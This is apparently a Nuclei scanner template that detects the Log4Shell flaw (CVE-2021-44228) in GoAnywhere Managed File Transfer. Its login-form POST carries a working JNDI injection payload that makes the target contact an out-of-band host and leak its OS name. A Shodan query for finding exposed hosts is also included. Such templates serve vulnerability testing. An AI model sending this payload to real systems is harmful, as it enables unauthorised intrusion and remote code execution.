id: goanywhere-mft-log4j-rce

info:
  name: GoAnywhere Managed File Transfer -  Log4j Remote Code Execution
  author: pussycat0x
  severity: critical
  reference:
    - https://www.goanywhere.com/cve-2021-44228-and-cve-2021-45046-goanywhere-mitigation-steps
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  metadata:
    verified: true
    shodan-query: http.html:"GoAnywhere Managed File Transfer"
  tags: cve,cve2021,jndi,log4j,rce,oast,goanywhere

requests:
  - raw:
      - |
        GET /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /goanywhere/auth/Login.xhtml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/goanywhere/auth/Login.xhtml

        formPanel%3AloginGrid%3Aname=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&formPanel%3AloginGrid%3Avalue_hinput=pass&formPanel%3AloginGrid%3Avalue={{view}}}&formPanel%3AloginGrid%3AloginButton=&loginForm_SUBMIT=1&javax.faces.ViewState={{view}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+'  # Match for extracted ${sys:os.name} variable

    extractors:
      - type: regex
        name: view
        part: body
        group: 1
        regex:
          - 'javax\.faces\.ViewState:1" value="(.*)" autocomplete'
        internal: true

      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'  # Print extracted ${sys:os.name} in output